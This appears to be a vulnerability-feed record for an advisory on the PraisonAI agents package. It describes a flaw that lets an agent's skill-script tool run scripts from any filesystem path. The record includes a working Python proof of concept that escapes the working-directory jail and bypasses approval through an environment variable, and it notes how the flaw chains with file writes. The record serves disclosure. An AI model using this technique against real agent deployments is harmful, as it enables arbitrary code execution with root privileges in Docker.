{"schema":"threatline.record/2","record":{"id":"CVE-2026-61443","aliases":["GHSA-c44f-37qr-gw3f","PYSEC-2026-4270"],"summary":"PraisonAI: SkillTools Executes Scripts Without Path Containment Validation","details":"### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n    script_path = os.path.expanduser(script_path)\n    if not os.path.isabs(script_path):\n        script_path = os.path.join(self._working_directory, script_path)\n    script_path = os.path.abspath(script_path)\n\n    if not os.path.exists(script_path):\n        return f\"Error: Script not found at {script_path}\"\n\n    # No path traversal check, no containment validation\n    # Directly executes whatever is at that path:\n    result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -> str:\n    # ...\n    cwd = os.path.abspath(os.getcwd())\n    if os.path.commonpath([absolute, cwd]) != cwd:\n        raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, 'w') as f:\n    f.write(\"#!/bin/bash\\n\")\n    f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n    f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n    f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail  # Pretend we're confined\n\n# Run script from OUTSIDE the jail — no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n#   PROOF_OF_EXPLOIT: Script executed outside jail\n#   USER: anushkavirgaonkar\n#   HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges","categories":["Libraries & packages"],"product":"praisonaiagents","vendor":"MervinPraison","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-c44f-37qr-gw3f","source_modified_at":"2026-10-08T16:49:24Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonaiagents"},"range":"<= 1.6.77"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61443","source_modified_at":"2026-07-15T12:14:45.603Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"PraisonAI","vendor":"MervinPraison","versions":[{"lessThan":"1.6.78","status":"affected","version":"0","versionType":"semver"},{"status":"unaffected","version":"1.6.78","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-c44f-37qr-gw3f","source_modified_at":"2026-10-15T14:55:41.274244476Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"praisonaiagents","ecosystem":"PyPI","purl":"pkg:pypi/praisonaiagents"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.78"}]}],"versions":["0.0.1","0.0.10","0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.109","0.0.11","0.0.110","0.0.111","0.0.112","0.0.113","0.0.114","0.0.115","0.0.116","0.0.117","0.0.118","0.0.119","0.0.12","0.0.120","0.0.121","0.0.122","0.0.123","0.0.124","0.0.125","0.0.126","0.0.127","0.0.128","0.0.129","0.0.13","0.0.130","0.0.131","0.0.132","0.0.133","0.0.134","0.0.135","0.0.136","0.0.137","0.0.138","0.0.139","0.0.14","0.0.140","0.0.141","0.0.142","0.0.143"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-c44f-37qr-gw3f","source_modified_at":"2026-10-08T16:49:24Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonaiagents"},"version":"1.6.78"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61443","source_modified_at":"2026-07-15T12:14:45.603Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"PraisonAI","ecosystem":null},"version":"1.6.78","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-c44f-37qr-gw3f","source_modified_at":"2026-10-15T14:55:41.274244476Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"praisonaiagents","ecosystem":"PyPI","purl":"pkg:pypi/praisonaiagents"},"version":"1.6.78"}],"cvss":8.1,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00769,"percentile":0.55142,"score_date":"2026-10-23"},"published_at":"2026-07-15T11:25:42.438Z","modified_at":"2026-10-15T14:55:41.274244476Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-c44f-37qr-gw3f","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T16:49:24Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-61443","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-07-15T12:14:45.603Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-c44f-37qr-gw3f","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-15T14:55:41.274244476Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61443","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61443","source":"GitHub Advisory Database"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62168","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-c44f-37qr-gw3f","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-07-15T12:14:41.907601Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:55:41.274244476Z","content_hash":"e99bdb6fc48b89abd2c15d5318bc0a46ff03a38ec27d51a4983ce71ae3c891a6"}}
